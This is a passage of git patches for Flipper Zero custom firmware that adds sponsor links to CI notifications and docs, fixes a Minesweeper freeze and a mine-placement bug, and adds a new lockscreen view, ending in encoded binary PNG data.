DS1990, only difference is a familiy code 0x01 for DS1990 and 0x81 for DS1420** + ### 1. Initial version. Deprecated, will be converted to current version upon saving. From 9e94b1fae080ef005cf4d57dc4d3cf0f376f729f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 06:05:22 +0300 Subject: [PATCH 151/329] Testing links --- .drone.yml | 10 ++++++++-- CHANGELOG.md | 2 +- ReadMe.md | 2 +- 3 files changed, 10 insertions(+), 4 deletions(-) diff --git a/.drone.yml b/.drone.yml index 06881b1ab..9f8991c66 100644 --- a/.drone.yml +++ b/.drone.yml @@ -192,6 +192,9 @@ steps: Version: {{build.tag}} + [-> Sponsor our project](https://boosty.to/mmxdev) + + [-Github - Changelog-](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/${DRONE_TAG}) @@ -220,7 +223,7 @@ steps: commands: - wget "https://raw.githubusercontent.com/fieu/discord.sh/e1dc1a7595efad2cad8f072f0b3531c470f5b7c8/discord.sh" - chmod +x ./discord.sh - - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' + - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' - name: "Send extra pack build to telegram" image: appleboy/drone-telegram @@ -385,6 +388,9 @@ steps: Commit: {{commit.message}} + [-> Sponsor our project](https://boosty.to/mmxdev) + + [-Version with extra apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-${DRONE_BUILD_NUMBER}e.tgz&channel=dev-cfw&version=${DRONE_BUILD_NUMBER}e) @@ -413,7 +419,7 @@ steps: commands: - wget "https://raw.githubusercontent.com/fieu/discord.sh/e1dc1a7595efad2cad8f072f0b3531c470f5b7c8/discord.sh" - chmod +x ./discord.sh - - ./discord.sh --text 'Unleashed firmware dev build successful!\n\nBuild - '${DRONE_BUILD_NUMBER}'\n\nSHA - '${DRONE_COMMIT_SHA}'\n\n[-Version with extra apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'e.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'e)\n\n[-Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/dev/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}')' + - ./discord.sh --text 'Unleashed firmware dev build successful!\n\nBuild - '${DRONE_BUILD_NUMBER}'\n\nSHA - '${DRONE_COMMIT_SHA}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[-Version with extra apps - Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'e.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}'e)\n\n[-Install via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/dev/flipper-z-f7-update-'${DRONE_BUILD_NUMBER}'.tgz&channel=dev-cfw&version='${DRONE_BUILD_NUMBER}')' trigger: branch: diff --git a/CHANGELOG.md b/CHANGELOG.md index 049af9b5c..c373d4b3f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,7 @@ [-> Download qFlipper (official link)](https://flipperzero.one/update) ## Please support development of the project -* Boosty: https://boosty.to/mmxdev +* **Boosty** (patreon alternative): https://boosty.to/mmxdev * Ko-Fi: https://ko-fi.com/masterx * cloudtips (only RU payments accepted): https://pay.cloudtips.ru/p/7b3e9d65 * YooMoney (only RU payments accepted): https://yoomoney.ru/fundraise/XA49mgQLPA0.221209 diff --git a/ReadMe.md b/ReadMe.md index 8c1a57142..12cca6715 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -111,7 +111,7 @@ Our team is small and the guys are working on this project as much as they can s The amount of work done on this project is huge and we need your support, no matter how large or small. Even if you just say, "Thank you Unleashed firmware developers!" somewhere. Doing so will help us continue our work and will help drive us to make the firmware better every time. Also, regarding our releases, every build has and always will be free and open-source. There will be no paywall releases or closed-source apps within the firmware. As long as I am working on this project it will never happen. You can support us by using links or addresses below: -* Boosty: https://boosty.to/mmxdev +* **Boosty** (patreon alternative): https://boosty.to/mmxdev * Ko-Fi: https://ko-fi.com/masterx * cloudtips (only RU payments accepted): https://pay.cloudtips.ru/p/7b3e9d65 * YooMoney (only RU payments accepted): https://yoomoney.ru/fundraise/XA49mgQLPA0.221209 From 56c11c70b3617764b6d2ea7b008c67dce517fa25 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 22:19:13 +0300 Subject: [PATCH 152/329] Fix minesweeper freeze bug, do some refactoring --- .../external/minesweeper/minesweeper.c | 89 ++++++++----------- 1 file changed, 39 insertions(+), 50 deletions(-) diff --git a/applications/external/minesweeper/minesweeper.c b/applications/external/minesweeper/minesweeper.c index 2adca65e9..37332b51d 100644 --- a/applications/external/minesweeper/minesweeper.c +++ b/applications/external/minesweeper/minesweeper.c @@ -47,9 +47,11 @@ typedef enum { typedef enum { FieldEmpty, FieldMine } Field; typedef struct { + FuriMutex* mutex; + DialogsApp* dialogs; + NotificationApp* notifications; Field minefield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; TileType playfield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; - FuriTimer* timer; int cursor_x; int cursor_y; int mines_left; @@ -57,16 +59,8 @@ typedef struct { int flags_set; bool game_started; uint32_t game_started_tick; - FuriMutex* mutex; } Minesweeper; -static void timer_callback(void* ctx) { - UNUSED(ctx); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - notification_message(notification, &sequence_reset_vibro); - furi_record_close(RECORD_NOTIFICATION); -} - static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); @@ -179,7 +173,7 @@ static void setup_playfield(Minesweeper* minesweeper_state) { int rand_y = rand() % PLAYFIELD_HEIGHT; // make sure first guess isn't a mine if(minesweeper_state->minefield[rand_x][rand_y] == FieldEmpty && - (minesweeper_state->cursor_x != rand_x && minesweeper_state->cursor_y != rand_y)) { + (minesweeper_state->cursor_x != rand_x || minesweeper_state->cursor_y != rand_y)) { minesweeper_state->minefield[rand_x][rand_y] = FieldMine; mines_left--; } @@ -208,37 +202,25 @@ static void place_flag(Minesweeper* minesweeper_state) { static bool game_lost(Minesweeper* minesweeper_state) { // returns true if the player wants to restart, otherwise false - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - const char* header_text = "Game Over"; - const char* message_text = "You hit a mine!"; - dialog_message_set_header(message, header_text, 64, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, message_text, 64, 32, AlignCenter, AlignCenter); + dialog_message_set_header(message, "Game Over", 64, 3, AlignCenter, AlignTop); + dialog_message_set_text(message, "You hit a mine!", 64, 32, AlignCenter, AlignCenter); dialog_message_set_buttons(message, NULL, "Play again", NULL); - dialog_message_set_icon(message, NULL, 0, 10); - // Set cursor to initial position minesweeper_state->cursor_x = 0; minesweeper_state->cursor_y = 0; - NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); - notification_message(notifications, &sequence_set_vibro_on); - furi_record_close(RECORD_NOTIFICATION); - furi_timer_start(minesweeper_state->timer, (uint32_t)furi_kernel_get_tick_frequency() * 0.2); + notification_message(minesweeper_state->notifications, &sequence_single_vibro); - DialogMessageButton choice = dialog_message_show(dialogs, message); + DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); return choice == DialogMessageButtonCenter; } static bool game_won(Minesweeper* minesweeper_state) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - FuriString* tempStr; tempStr = furi_string_alloc(); @@ -256,15 +238,13 @@ static bool game_won(Minesweeper* minesweeper_state) { dialog_message_set_text( message, furi_string_get_cstr(tempStr), 64, 32, AlignCenter, AlignCenter); dialog_message_set_buttons(message, NULL, "Play again", NULL); - dialog_message_set_icon(message, NULL, 72, 17); // Call dolphin deed when we win the game DOLPHIN_DEED(DolphinDeedPluginGameWin); - DialogMessageButton choice = dialog_message_show(dialogs, message); + DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); dialog_message_free(message); furi_string_free(tempStr); - furi_record_close(RECORD_DIALOGS); return choice == DialogMessageButtonCenter; } @@ -375,22 +355,6 @@ static void minesweeper_state_init(Minesweeper* const minesweeper_state) { int32_t minesweeper_app(void* p) { UNUSED(p); - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - - DialogMessage* message = dialog_message_alloc(); - const char* header_text = "Minesweeper"; - const char* message_text = "Hold OK pressed to toggle flags.\ngithub.com/panki27"; - - dialog_message_set_header(message, header_text, 64, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, message_text, 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, NULL, "Play", NULL); - - dialog_message_set_icon(message, NULL, 0, 10); - - dialog_message_show(dialogs, message); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); Minesweeper* minesweeper_state = malloc(sizeof(Minesweeper)); @@ -405,12 +369,28 @@ int32_t minesweeper_app(void* p) { } // BEGIN IMPLEMENTATION + minesweeper_state->dialogs = furi_record_open(RECORD_DIALOGS); + minesweeper_state->notifications = furi_record_open(RECORD_NOTIFICATION); + + DialogMessage* message = dialog_message_alloc(); + + dialog_message_set_header(message, "Minesweeper", 64, 3, AlignCenter, AlignTop); + dialog_message_set_text( + message, + "Hold OK pressed to toggle flags.\ngithub.com/panki27", + 64, + 32, + AlignCenter, + AlignCenter); + dialog_message_set_buttons(message, NULL, "Play", NULL); + + dialog_message_show(minesweeper_state->dialogs, message); + dialog_message_free(message); + // Set system callbacks ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, render_callback, minesweeper_state); view_port_input_callback_set(view_port, input_callback, event_queue); - minesweeper_state->timer = - furi_timer_alloc(timer_callback, FuriTimerTypeOnce, minesweeper_state); // Open GUI and register view_port Gui* gui = furi_record_open(RECORD_GUI); @@ -422,35 +402,42 @@ int32_t minesweeper_app(void* p) { PluginEvent event; for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); if(event_status == FuriStatusOk) { // press events if(event.type == EventTypeKey) { if(event.input.type == InputTypeShort) { switch(event.input.key) { case InputKeyUp: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_y--; if(minesweeper_state->cursor_y < 0) { minesweeper_state->cursor_y = PLAYFIELD_HEIGHT - 1; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyDown: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_y++; if(minesweeper_state->cursor_y >= PLAYFIELD_HEIGHT) { minesweeper_state->cursor_y = 0; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyRight: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_x++; if(minesweeper_state->cursor_x >= PLAYFIELD_WIDTH) { minesweeper_state->cursor_x = 0; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyLeft: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_x--; if(minesweeper_state->cursor_x < 0) { minesweeper_state->cursor_x = PLAYFIELD_WIDTH - 1; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyOk: if(!minesweeper_state->game_started) { @@ -500,7 +487,9 @@ int32_t minesweeper_app(void* p) { break; case InputKeyOk: FURI_LOG_D("Minesweeper", "Toggling flag"); + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); place_flag(minesweeper_state); + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyBack: processing = false; @@ -512,15 +501,15 @@ int32_t minesweeper_app(void* p) { } } view_port_update(view_port); - furi_mutex_release(minesweeper_state->mutex); } view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close(RECORD_GUI); + furi_record_close(RECORD_DIALOGS); + furi_record_close(RECORD_NOTIFICATION); view_port_free(view_port); furi_message_queue_free(event_queue); furi_mutex_free(minesweeper_state->mutex); - furi_timer_free(minesweeper_state->timer); free(minesweeper_state); return 0; From ea596dc94da7eaa5061533ef79d15442eae6a812 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 18 Mar 2023 20:36:24 +0000 Subject: [PATCH 153/329] Initial lockscreen redesign --- applications/services/desktop/desktop.c | 3 +- applications/services/desktop/desktop_i.h | 2 + .../desktop/views/desktop_view_lockscreen.c | 122 ++++++++++++++++++ .../desktop/views/desktop_view_lockscreen.h | 13 ++ applications/services/xtreme/assets.c | 2 + applications/services/xtreme/assets.h | 1 + assets/icons/Interface/Lockscreen.png | Bin 0 -> 5453 bytes 7 files changed, 142 insertions(+), 1 deletion(-) create mode 100644 applications/services/desktop/views/desktop_view_lockscreen.c create mode 100644 applications/services/desktop/views/desktop_view_lockscreen.h create mode 100644 assets/icons/Interface/Lockscreen.png diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 1fe23bb1d..79bd3cfb1 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -165,6 +165,7 @@ Desktop* desktop_alloc() { desktop->debug_view = desktop_debug_alloc(); desktop->hw_mismatch_popup = popup_alloc(); desktop->locked_view = desktop_view_locked_alloc(); + desktop->lockscreen_view = desktop_view_lockscreen_alloc(); desktop->pin_input_view = desktop_view_pin_input_alloc(); desktop->pin_timeout_view = desktop_view_pin_timeout_alloc(); desktop->slideshow_view = desktop_view_slideshow_alloc(); @@ -180,7 +181,7 @@ Desktop* desktop_alloc() { /* locked view (as animation view) attends in 2 scenes: main & locked, * because it has to draw "Unlocked" label on main scene */ desktop->locked_view_stack = view_stack_alloc(); - view_stack_add_view(desktop->locked_view_stack, dolphin_view); + view_stack_add_view(desktop->locked_view_stack, desktop_view_lockscreen_get_view(desktop->lockscreen_view)); view_stack_add_view( desktop->locked_view_stack, desktop_view_locked_get_view(desktop->locked_view)); diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index 822eecc76..2935d0594 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -5,6 +5,7 @@ #include "views/desktop_view_pin_timeout.h" #include "views/desktop_view_pin_input.h" #include "views/desktop_view_locked.h" +#include "views/desktop_view_lockscreen.h" #include "views/desktop_view_main.h" #include "views/desktop_view_lock_menu.h" #include "views/desktop_view_debug.h" @@ -47,6 +48,7 @@ struct Desktop { DesktopLockMenuView* lock_menu; DesktopDebugView* debug_view; DesktopViewLocked* locked_view; + DesktopLockscreenView* lockscreen_view; DesktopMainView* main_view; DesktopViewPinTimeout* pin_timeout_view; DesktopSlideshowView* slideshow_view; diff --git a/applications/services/desktop/views/desktop_view_lockscreen.c b/applications/services/desktop/views/desktop_view_lockscreen.c new file mode 100644 index 000000000..e422c9192 --- /dev/null +++ b/applications/services/desktop/views/desktop_view_lockscreen.c @@ -0,0 +1,122 @@ +#include +#include +#include +#include +#include +#include + +#include "desktop_view_lockscreen.h" +#include "../desktop_i.h" + +struct DesktopLockscreenView { + View* view; + void* context; +}; + +typedef struct { + LocaleDateFormat date_format; + LocaleTimeFormat time_format; +} DesktopLockscreenViewModel; + +static void desktop_view_lockscreen_draw(Canvas* canvas, void* context) { + DesktopLockscreenViewModel* model = context; + canvas_clear(canvas); + canvas_draw_icon(canvas, 0, 0, XTREME_ASSETS()->I_Lockscreen); + + char time_str[9]; + char date_str[14]; + char meridian_str[3]; + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + + if(model->time_format == LocaleTimeFormat24h) { + snprintf(time_str, 9, "%.2d:%.2d", datetime.hour, datetime.minute); + } else { + bool pm = datetime.hour > 12; + bool pm12 = datetime.hour >= 12; + snprintf(time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); + snprintf(meridian_str, 3, pm12 ? "PM" : "AM"); + } + + if(model->date_format == LocaleDateFormatYMD) { + snprintf(date_str, 14, "%.4d-%.2d-%.2d", datetime.year, datetime.month, datetime.day); + } else if(model->date_format == LocaleDateFormatMDY) { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.month, datetime.day, datetime.year); + } else { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); + } + + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str(canvas, 0, 64, time_str); + int meridian_offset = canvas_string_width(canvas, time_str) + 2; + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 48, date_str); + if(model->time_format == LocaleTimeFormat12h) { + canvas_draw_str(canvas, 0 + meridian_offset, 64, meridian_str); + } + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "UP to Unlock"); +} + +static bool desktop_view_lockscreen_input(InputEvent* event, void* context) { + furi_assert(event); + UNUSED(context); + // DesktopLockscreenView* instance = context; + + // DesktopLockscreenViewModel* model = view_get_model(instance->view); + if(event->type == InputTypeShort) { + switch(event->key) { + case InputKeyLeft: + case InputKeyRight: + case InputKeyOk: + case InputKeyBack: + default: + break; + } + } + // view_commit_model(instance->view, update_view); + + return true; +} + +static void desktop_view_lockscreen_enter(void* context) { + DesktopLockscreenView* instance = context; + + DesktopLockscreenViewModel* model = view_get_model(instance->view); + model->time_format = locale_get_time_format(); + model->date_format = locale_get_date_format(); + view_commit_model(instance->view, false); +} + +static void desktop_view_lockscreen_exit(void* context) { + DesktopLockscreenView* instance = context; + UNUSED(instance); + + // DesktopLockscreenViewModel* model = view_get_model(instance->view); + // view_commit_model(instance->view, false); +} + +DesktopLockscreenView* desktop_view_lockscreen_alloc() { + DesktopLockscreenView* instance = malloc(sizeof(DesktopLockscreenView)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(DesktopLockscreenViewModel)); + view_set_context(instance->view, instance); + view_set_draw_callback(instance->view, (ViewDrawCallback)desktop_view_lockscreen_draw); + view_set_input_callback(instance->view, desktop_view_lockscreen_input); + view_set_enter_callback(instance->view, desktop_view_lockscreen_enter); + view_set_exit_callback(instance->view, desktop_view_lockscreen_exit); + + return instance; +} + +void desktop_view_lockscreen_free(DesktopLockscreenView* instance) { + furi_assert(instance); + + view_free(instance->view); + free(instance); +} + +View* desktop_view_lockscreen_get_view(DesktopLockscreenView* instance) { + furi_assert(instance); + return instance->view; +} diff --git a/applications/services/desktop/views/desktop_view_lockscreen.h b/applications/services/desktop/views/desktop_view_lockscreen.h new file mode 100644 index 000000000..64e9ae7c9 --- /dev/null +++ b/applications/services/desktop/views/desktop_view_lockscreen.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +#include "desktop_events.h" + +typedef struct DesktopLockscreenView DesktopLockscreenView; + +DesktopLockscreenView* desktop_view_lockscreen_alloc(); + +void desktop_view_lockscreen_free(DesktopLockscreenView* main_view); + +View* desktop_view_lockscreen_get_view(DesktopLockscreenView* main_view); diff --git a/applications/services/xtreme/assets.c b/applications/services/xtreme/assets.c index ce73e4f87..fc39f18f5 100644 --- a/applications/services/xtreme/assets.c +++ b/applications/services/xtreme/assets.c @@ -93,6 +93,7 @@ void swap(XtremeAssets* x, FuriString* p, File* f) { icon(&x->I_DolphinWait_61x59, "iButton/DolphinWait_61x59", p, f); icon(&x->I_iButtonDolphinVerySuccess_108x52, "iButton/iButtonDolphinVerySuccess_108x52", p, f); icon(&x->I_DolphinReadingSuccess_59x63, "Infrared/DolphinReadingSuccess_59x63", p, f); + icon(&x->I_Lockscreen, "Interface/Lockscreen", p, f); icon(&x->I_NFC_dolphin_emulation_47x61, "NFC/NFC_dolphin_emulation_47x61", p, f); icon(&x->I_passport_bad_46x49, "Passport/passport_bad_46x49", p, f); icon(&x->I_passport_DB, "Passport/passport_DB", p, f); @@ -123,6 +124,7 @@ void XTREME_ASSETS_LOAD() { xtreme_assets->I_DolphinWait_61x59 = &I_DolphinWait_61x59; xtreme_assets->I_iButtonDolphinVerySuccess_108x52 = &I_iButtonDolphinVerySuccess_108x52; xtreme_assets->I_DolphinReadingSuccess_59x63 = &I_DolphinReadingSuccess_59x63; + xtreme_assets->I_Lockscreen = &I_Lockscreen; xtreme_assets->I_NFC_dolphin_emulation_47x61 = &I_NFC_dolphin_emulation_47x61; xtreme_assets->I_passport_bad_46x49 = &I_passport_bad_46x49; xtreme_assets->I_passport_DB = &I_passport_DB; diff --git a/applications/services/xtreme/assets.h b/applications/services/xtreme/assets.h index f987fd475..5e96f99f7 100644 --- a/applications/services/xtreme/assets.h +++ b/applications/services/xtreme/assets.h @@ -20,6 +20,7 @@ typedef struct { const Icon* I_DolphinWait_61x59; const Icon* I_iButtonDolphinVerySuccess_108x52; const Icon* I_DolphinReadingSuccess_59x63; + const Icon* I_Lockscreen; const Icon* I_NFC_dolphin_emulation_47x61; const Icon* I_passport_bad_46x49; const Icon* I_passport_DB; diff --git a/assets/icons/Interface/Lockscreen.png b/assets/icons/Interface/Lockscreen.png new file mode 100644 index 0000000000000000000000000000000000000000..c9aa8bcd7e906e0fcd650f1437884709a7b2ee28 GIT binary patch literal 5453 zcmeHLdsGuw8Xu|x2C1l}r7qna;seo6l9|bKBp65nWF^W1iqE5y$qkH>2T6E{)`M8J zisHK>;HoPqDoZQYM^P7iP^zM$o|d93C|b1^U)593@x|UGfKc(QoU`s<(c>b#IfFR}f_Q5pRWb0M2``0PFZh4k?`|->9nFZFWRIcKP>a=UV3Po9 zpJM?iNM{WQl77h;eR)8y0MF+;maRiqKKk09pJ2EUda6IiaCYeEAtl+Rp5N3xay#&T zm|K17nPIo|tGJ7H4bbLL+~FT5&-^l};x@WhF?}S6BFCg#YZV zC%g)0gx^>?H)7LfI_}sPC%ydKf2de*J^$kAqHRUKcf2xureA(pe_wpWwl^)e7`K*v z|7ipAq^j}< `3)^Bb8<%>6Z-)Jlte%1SW%H;mO?qf0##O-rdsf^Yrm2J*I7YaUG zEss2|@UNN?o6Yq-n(CAMee|a0e{gg5an!{=vldPKB#QSUYq+;&S@yQ8Q!EddJ$J4) zmF!-)8}*!@d9Yj>R35psWh@8N1xxQ$ADX-JP+Def3329*2FWw!Z;Xqn`8mF-A-*^M zxo4B-$r|G3&>-)|hbb$O8TXrlPq+MgGo!#J_4EAVL|;R$_@Vp5n(anQLtsu>S;@f7 zgU09DLz^N>NBy}XnfL9d4{C}xo~aoWv9v1YqfygqPHhhl*80baHvP7!pnBvj?Cg|% zXD>au!SDCcjGqZsm)qw=oBdR+*)h!LqD~R}Y&mz5HX2o$tpFABgggPJPG?gIZU_erw(1R3 zj4Hep0=~()iFUh%;`7te(s*ek&umTL<1(3yFCh2?fk6q(HpgVA(=n56hy%ifp#nC> z%3AEK*@QYUX`MO6F6VOLJlbZT(W2G1!<%faEI>Z^>9mE9^8|dOk>63nW>=>|kXD1b z)Ud_D8s*0Tn>oeG0Cg%b*@tw7hykyBdJ70B-U&d@v>RYau_ihB&@+6H1dMPk8#Ej5 zWOIZ@8{Mwq;4pzTTAW%iTAd^vp|D z8|zMND5cd>Dl?Pf@JpkTbKwY2&*~{bm_!(^RE7#AN;QtFl~SQ7Tt$XTlp-=*9ZrOG zP}i7jcG|>%Hgy)N>aTgfx!8DO^H{q@x5RC2%>}E^W5PnaxRZu7d~E zVQxE^7Iq9hZKvDepfX9}5KchhI3<8^f{t*|A=WVGzezj#0~+kgtw`2pH(Td8hg?k~ z79_jgT(3#2vs<93v+gOHaXD`_B7fGLK7hCa&D-jS)l4s_VdVY0f$;28lPIr!~oj@B%Oe7?(HYd?6G zOQ2}aBHiM*hpryFy2U`ZgnP29hpuih&@JJf?E0V4#d-DB0+`@QJPm%6_+{uFJ->R*XHa_@KH%vup>tBD*#~xM{TSG-}zon!t-|yT(*C) z+wQrJgqH6V@#7`cv@=IaM!{Hr<^Yj$!Rn;>ReI5KkxN@Y^yps->0Db+_WNO?}XCa(FMh;{A6DL8WOe2@_c2q zrT$EC*pj`^u72}j;g*uJ48w%qiw+<66oo`gzBwiEVAko2wN^km=dG8jeqN3%(cLh@`x~l|_!e%$sxY*YE1V z%%I=ye4Lr*ztxx(FnF$8iTCXbBlc+(gBGm`s~s6MZ?H!$n*U^^Ww>uY-ZMf0EX Date: Sat, 18 Mar 2023 21:39:02 +0100 Subject: [PATCH 154/329] Prepare for customization.md Link will be added after its written --- ReadMe.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/ReadMe.md b/ReadMe.md index d212e3e18..f7f1e0035 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -23,6 +23,8 @@ The goal of this Firmware is to regularly bring out amazing updates based on wha -

    k4+K610RC^oqpL5JiYpyJ4E_i}5K#0V=RlH&h65fj4gfeU;nfVs z2_>LZAkf1Az#z~H;Cy443JsS1OoSMU0k|I)shm1bFNTK*CkO;=3^TxBWKv=fQ98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;p@eK#ctAFAQZV?EMD3k!f@rd+6_al)&FbL}Z)vB~n`>zB5 zS&Tq^ROc4_>aUs z&>RFNLjdq!z(NmbGy)7k9xZ-|glqg_0R;a*@EG(X@8AIOfY&0VA&7(4t`8g}1K|Rd z0fgYXut3rv5X!w$i&XxPlBy3IgaQWy50U^t1+Uct27!R!SJY!sL5Ki=;twhW<6$a+ zKsW`{)d$W&gc}F|gUBB&1ViQL#X^9?=noitf#dlPr&RbM^nhZ2o&8iQK_HQT!^9sb z1}pvJ510W#<;wp?0|kK8ZUgPCzCo&iqq>LMQ8|F?rBba%tCgz{tiuPuu8!0CA6*6V zVgA+ngN5oakUXpo0fAQ|q$94f1Rht;1`Z3Lf#|eC0^JA8fq#H_Ash$+1t_ia|Gvf` z5*$(V*XewKe~3d|52hBY4){Q3Au+(Y<4YN9a+6oeiyDiy#!m^!S6K?I0{#t9+d z2h-Q8iBJLO$dEuEhjpM;VVDR+MhO6)7zbD$E%AKeF&H-j0uK@abzpS^`9z^G>4pI& zBmxf*e1YQ~fM2ixajX4cWI}*JqmY>gf&%~mkMn*V7a+hRBmtmQAi(mt2#28mBxuBM z)W|?QumQnu2z+EvFAs)>4>8EG4gn;Bf`)+)fI-3IxE~OFV-T=;Vt?^~c-RQ98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;p@eK#ctAFAQZV?EfD3k!f@xb&!_al*DQP=;gRcI?CUMK*w z7>NpsM8#mL#NZq;{a_$*?f}8r=~jx!J^*2(|AFrqj6@;C0fDMV-cv{gf-4B{fyN{8 zF|-2#A;Nz@AYo!KAYc<}C;Pu&qA?nN4;sXa|Ch&!gdZLa7yj{8io`+dHwTUbWk178 zfWmNC*dSmMy!-~MMXG;E$rVlv0+mj{O2DFk5CLoBPzW3YnIO1TYPBDzJnFF695MkY zkHaN!CTm4ij88BFk0|p-u0Edh|GYSL(Kk)Ekp+;f!2a8n(BoD$r06&NTy1)9k z5MZG3=p@H{HyH$hOd;Xb5yk-^kKixi^8h3S9y9|8@B<}))NTN!5eJkYmOs$h-AH8! 